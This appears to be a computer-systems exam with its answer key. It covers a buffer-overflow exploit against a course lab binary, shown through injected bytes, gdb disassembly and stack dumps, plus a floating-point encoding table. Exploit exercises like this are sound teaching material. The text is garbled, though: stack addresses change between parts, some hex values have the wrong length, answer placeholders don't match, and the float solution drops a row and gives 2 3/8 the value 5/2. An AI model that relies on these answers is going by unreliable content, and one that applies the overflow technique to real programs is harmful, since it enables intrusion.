Problem 6. (12 points):
Recently, Microsoft’s SQL Server was hit by the SQL Slammer worm, which exploits a known buffer overflow in the SQL Resolution Service. Today, we’ll be writing our own 213 Slammer that exploits the vulnerability introduced in bufcomb, the executable used in your Lab 3 assignment. And as such, Gets has the same functionality as in Lab 3 except that it strips off the newline character before storing the input string.

Consider the following exploit code, which runs the program into an infinite loop:

```
infinite.c:    file format elf32-i386
Disassembly of section .text:

00000000 <.text>:
  0: 68 fc b2 ff bf       push  $0xbffff2fc
  5: c3                    ret
  6: 89 f6                  mov  %esi,%esi
```

Here is a disassembled version of the getbuf function in bufcomb, along with the values of the relevant registers and a printout of the stack before the call to Gets().

```
(gdb) disas
Dump of assembler code for function getbuf:
0x8048a44 <getbuf>:    push  %ebp
0x8048a45 <getbuf+1>:  mov   %esp,%ebp
0x8048a47 <getbuf+3>:  sub   $0x18,%esp
0x8048a4a <getbuf+6>:  add   $0xffffffff4,%esp
0x8048a4d <getbuf+9>:  lea   0xffffffff4(%ebp),%eax
0x8048a50 <getbuf+12>: push  %eax
0x8048a51 <getbuf+13>: call  0x8048b50 <Gets>
0x8048a56 <getbuf+18>: mov   $0x0,%eax
0x8048a5b <getbuf+23>: mov   %ebp,%esp
0x8048a5d <getbuf+25>: pop   %ebp
0x8048a5e <getbuf+26>: ret
0x8048a5f <getbuf+27>: nop
End of assembler dump.
```

```
(gdb) info registers
eax         0xbffff2fc  ecx         0xffffffff
edx         0x0         ebx         0x0
esp         0xbffff2e0  ebp         0xbffff308
esi         0xffffffff  edi         0x804b820
```

```
(gdb) x/20xb $ebp=12
0xbffff2fc:  0x0f 0x17 0x02 0x40 0x18 0xb3 0xff 0xbf
0xbffff304:  0x50 0x80 0x06 0x40 0x28 0xb3 0xff 0xbf
0xbffff30c:  0xee 0x89 0x04 0x08 0x24 0xb3 0xff 0xbf
```
Here are the questions:

1. Write down the address of the location on the stack which contains the return address where `getbuf` is supposed to return to:

0x____________________

2. Using the exploit code illustrated above, fill in the the following blanks on the stack after the call to `Ggets()` . All the numbers must be in a two character hexadecimal representation of a byte. We’ve already filled in the terminating \0 (0x00) character for you.

```
(gdb) x/20xb $ebp-12
0xbfffb2fc: 0x__ 0x__ 0x__ 0x__ 0x__ 0x__ 0x__ 0x__
0xbfffb304: 0x__ 0x__ 0x__ 0x__ 0x__ 0x__ 0x__ 0x__
0xbfffb30c: 0x__ 0x__ 0x__ 0x__ 0x00 0xb3 0xff 0xbf
```

3. During the infinite loop, what is the value of `%ebp`?

0x____________________
Solution to Problem 6

1. 0xbffffb30c

2. 68 fc b2 ff bf c3 xx xx
   xx xx xx xx pg rs tu ww
   fc b2 ff bf 00
   where xx can be anything except 00,
   and pqrstuvw can be any valid hexadecimal values which aren't zeros

3. 0xvwturspq (matching the pqrstuvw above)
Problem 3. (8 points):
Consider the following 7-bit floating point representation based on the IEEE floating point format:

- There is a sign bit in the most significant bit.
- The next 3 bits are the exponent. The exponent bias is 3.
- The last 3 bits are the fraction.
- The representation encodes numbers of the form: \( V = (-1)^s \times M \times 2^E \), where \( M \) is the significand and \( E \) the integer value of the exponent.

Please fill in the table below. You do not have to fill in boxes with "—" in them. **If a number is NAN or infinity, you may disregard the \( M, E, \) and \( V \) fields below.** However, fill the Description and Binary fields with valid data. Here are some guidelines for each field:

- **Description** - A verbal description if the number has a special meaning
- **Binary** - Binary representation of the number
- **\( M \)** - Significand (same as the \( M \) in the formula above)
- **\( E \)** - Exponent (same as the \( E \) in \( 2^E \))
- **\( V \)** - Fractional Value represented

Please fill the \( M, E, \) and \( V \) fields below with rational numbers (fractions) rather than decimals or binary decimals.

<table>
<thead>
<tr>
<th>Description</th>
<th>Binary</th>
<th>( M )</th>
<th>( E )</th>
<th>( V )</th>
</tr>
</thead>
<tbody>
<tr>
<td>—</td>
<td>0 010 010</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>( 2 \cdot \frac{3}{8} )</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Most Negative <strong>Normalized</strong></td>
<td>1 111 000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Smallest Positive <strong>Denormalized</strong></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Solution to Problem 3

<table>
<thead>
<tr>
<th>Description</th>
<th>Binary</th>
<th>M</th>
<th>E</th>
<th>V</th>
</tr>
</thead>
<tbody>
<tr>
<td>2 3/8</td>
<td>0 100 010</td>
<td>5/4</td>
<td>1</td>
<td>5/2</td>
</tr>
<tr>
<td>-infinity</td>
<td>1 111 000</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>most neg norm</td>
<td>1 110 111</td>
<td>15/8</td>
<td>3</td>
<td>-15</td>
</tr>
<tr>
<td>smal pos dnorm</td>
<td>0 000 001</td>
<td>1/8</td>
<td>-2</td>
<td>1/32</td>
</tr>
</tbody>
</table>